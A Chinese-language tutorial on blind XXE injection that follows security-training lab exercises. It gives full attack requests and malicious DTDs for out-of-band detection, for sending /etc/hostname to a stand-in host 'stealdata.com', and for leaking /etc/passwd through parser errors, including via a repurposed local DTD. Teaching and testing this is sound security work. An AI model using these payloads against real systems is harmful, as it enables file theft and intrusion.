XXE blind

XXE相關介紹如下

XXE

當應用程式受到XXE注入但在回應中沒有任何攻擊結果時,很難知道是否有XXE漏洞。因此需要透過一些盲注的方法去判斷,常見的偵測方法有兩種

  • 使用OAST技術偵測
  • 使用參數實體偵測


使用OAST技術偵測

舉例如下,要求XXE讓伺服器向outside web發出HTTP請求。攻擊者可以監視DNS並查找HTTP 請求,從而偵測XXE攻擊是否成功。

################## attack request ################## 
POST /product/stock HTTP/1.1
...omit...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://outside web"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

################## attack response ################## 
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 20
"Invalid product ID"

Lab: Blind XXE with out-of-band interaction


使用參數實體偵測

由於應用程式的輸入驗證,使得一般的XXE攻擊被阻止,在這種情況下,可以嘗試使用 XML parameter entities參數實體。這是一種特殊類型的 XML 實體,只能在DTD中的其他位置引用,用法是在實體名稱之前加入%,如下

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://outsiteweb"> %xxe; ]>

舉例如下,要求XXE讓伺服器向outside web發出HTTP請求,從而偵測XXE攻擊是否成功。

################## attack request ################## 
POST /product/stock HTTP/1.1
...omit...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://outside web"> %xxe; ]>
<stockCheck><productId>9</productId><storeId>1</storeId></stockCheck>

################## attack response ################## 
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 15
"Parsing error"

Lab: Blind XXE with out-of-band interaction via XML parameter entities


確定有XXE漏洞後,可以使用以下幾種盲注技巧,取得數據

  • 利用外部DTD取得數據
  • 透過錯誤訊息檢索數據
  • 利用內部DTD取得數據


利用外部DTD取得數據

方法如下,先準備一個拿取數據的網址https://stealdata.com,在準備一個DTD網址https://dtd.website/malicious.dtd,內容如下

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://stealdata.com/?x=%file;'>">
%eval;
%exfil;

以上內容說明如下

  • 定義一個名為XML 參數實體file,包含檔案的內容/etc/hostname
  • 定義一個參數實體eval,包含另一個參數實體的動態宣告exfil,其中url包含剛剛定義的file
  • 使用%eval;讓exfil 可以執行,接著使用%exfil;讓url可以運作

接著在請求中把剛剛DTD網址位置放入XXE中,如下

################## attack request ################## 
POST /product/stock HTTP/1.1
...omit...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://dtd.website/malicious.dtd"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

################## attack response ################## 
HTTP/1.1 400 Bad Request
...omit...
"Parsing error"

一旦攻擊成功,服務器就會將/etc/hostname內容送到https://stealdata.com,只要查看日志就會看到類似以下信息,a2dd82d1b9eb為/etc/hostname的內容

GET /?x=a2dd82d1b9eb HTTP/1.1

Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD


透過錯誤訊息檢索數據

如果應用程式會在回應中返回錯誤訊息,可使用惡意外部DTD觸發包含檔案內容的XML解析錯誤訊息。

方法如下,準備一個DTD網址https://dtd.website/malicious.dtd,內容如下

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>"
%eval;
%exfil;

上述內容和剛剛的差不多,唯一不同的是第二行要指定一個不存在的檔案

接著在請求中把剛剛DTD網址位置放入XXE中,如下

################## attack request ################## 
POST /product/stock HTTP/1.1
...omit...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://dtd.website/malicious.dtd"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

################## attack response ################## 
HTTP/1.1 400 Bad Request
...omit...
"XML parser exited with non-zero code 1: /invalid/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...omit...

呼叫惡意外部DTD將導致返回錯誤訊息,並顯示/etc/passwd內容

Lab: Exploiting blind XXE to retrieve data via error messages


利用內部DTD取得數據

如果文件的DTD使用內部和外部DTD聲明的混合,則內部DTD可以重新定義在外部DTD中聲明的實體。發生這種情況時,在另一個參數實體的定義中使用XML參數實體的限制就會放寬。這意味著攻擊者可以在內部DTD中使用基於錯誤的XXE技術

例如,假設伺服器檔案系統上的位置有一個DTD文件/usr/share/yelp/dtd/docbookx.dtd,並且該DTD文件定義了一個名為ISOamso的實體,如果攻擊者如果想看/etc/passwd,可以混合其內容並觸發 XML 解析錯誤訊息,如下

################## attack request ################## 
POST /product/stock HTTP/1.1
...omit...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

################## attack response ################## 
HTTP/1.1 400 Bad Request
...omit...
"XML parser exited with non-zero code 1: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Lab: Exploiting XXE to retrieve data by repurposing a local DTD